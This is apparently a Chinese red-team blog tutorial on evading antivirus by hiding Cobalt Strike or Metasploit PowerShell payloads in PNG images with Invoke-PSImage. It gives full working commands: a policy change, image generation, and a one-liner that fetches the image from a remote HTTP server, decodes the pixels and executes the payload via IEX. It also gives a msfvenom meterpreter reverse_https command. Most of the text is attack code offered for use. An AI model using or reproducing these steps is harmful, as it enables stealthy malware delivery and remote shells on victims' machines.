前言

一般来说一些 AV 对于图片并未做检测处理,其原理可以仅使用有效载荷数据来创建新图像,也可以将有效载荷嵌入到现有图像的最低有效字节中,以便看起来像实际的图片。图像保存为PNG,并且可以无损压缩,而不会影响执行有效载荷的能力,因为数据本身以颜色存储。创建新图像时,通常会对常规 PowerShell 脚本进行显着压缩,通常会生成 png,其文件大小约为原始脚本的50%,非常方便。

CobaltStrike 免杀

首先生成一个 ps1 的文件:

然后把生成的文件放到和 Invoke-PSImage.ps1 文件同一目录:

然后再准备一张普通图片用于生成一个带有 Payload 的图片:

之后使用命令生成一个带有 shellcode 的图片:

1
2
3
4
5
6
# 1、设置执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
# 2、导入 ps1 文件
Import-Module .\Invoke-PSimage.ps1
# 3、生成 shellcode 的图片
Invoke-PSImage -Script .\payload.ps1 -Image .\saulGoodman.jpg -Out .\saulGoodman.png -Web


之后就会得到这么一串 Powershell 代码:

1
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/saul.png"));$o=a Byte[] 3584;(0..13)|%{foreach($x in(0..255)){$p=$g.GetPixel($x,$_);$o[$_*256+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

当前目录还会多出了一个 saul.png 的图片:

我们把里面的 http://example.com/saul.png 修改为我们自己的 http 服务,我首先再服务器上开启了一个 http 服务,然后把生成的 saul.png 放到里面用于远程加载:

这个时候我们修改 powershell 代码为我们自己的 http

1
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.2.14/saul.png"));$o=a Byte[] 3584;(0..13)|%{foreach($x in(0..255)){$p=$g.GetPixel($x,$_);$o[$_*256+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

然后运行上线的 powershell 代码上线:

MSF的话就生成这个:

1
2
3
4
5
6
7
1、msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.253.8 LPORT=5555 -f psh-reflection > msf-dayu.ps1

2、Set-ExecutionPolicy Unrestricted -Scope CurrentUser

3、Import-Module .\Invoke-PSimage.ps1

4、Invoke-PSImage -Script .\cs-dayu.ps1 -Image .\dayu.jpg -Out .\cs-dayu.png -Web

参考文章

https://github.com/dayuxiyou/Invoke-PSImage

https://www.freebuf.com/articles/web/262978.html

公众号

若有好的建议和合作可以通过公众号与我联系!
微信公众号:渗透攻击红队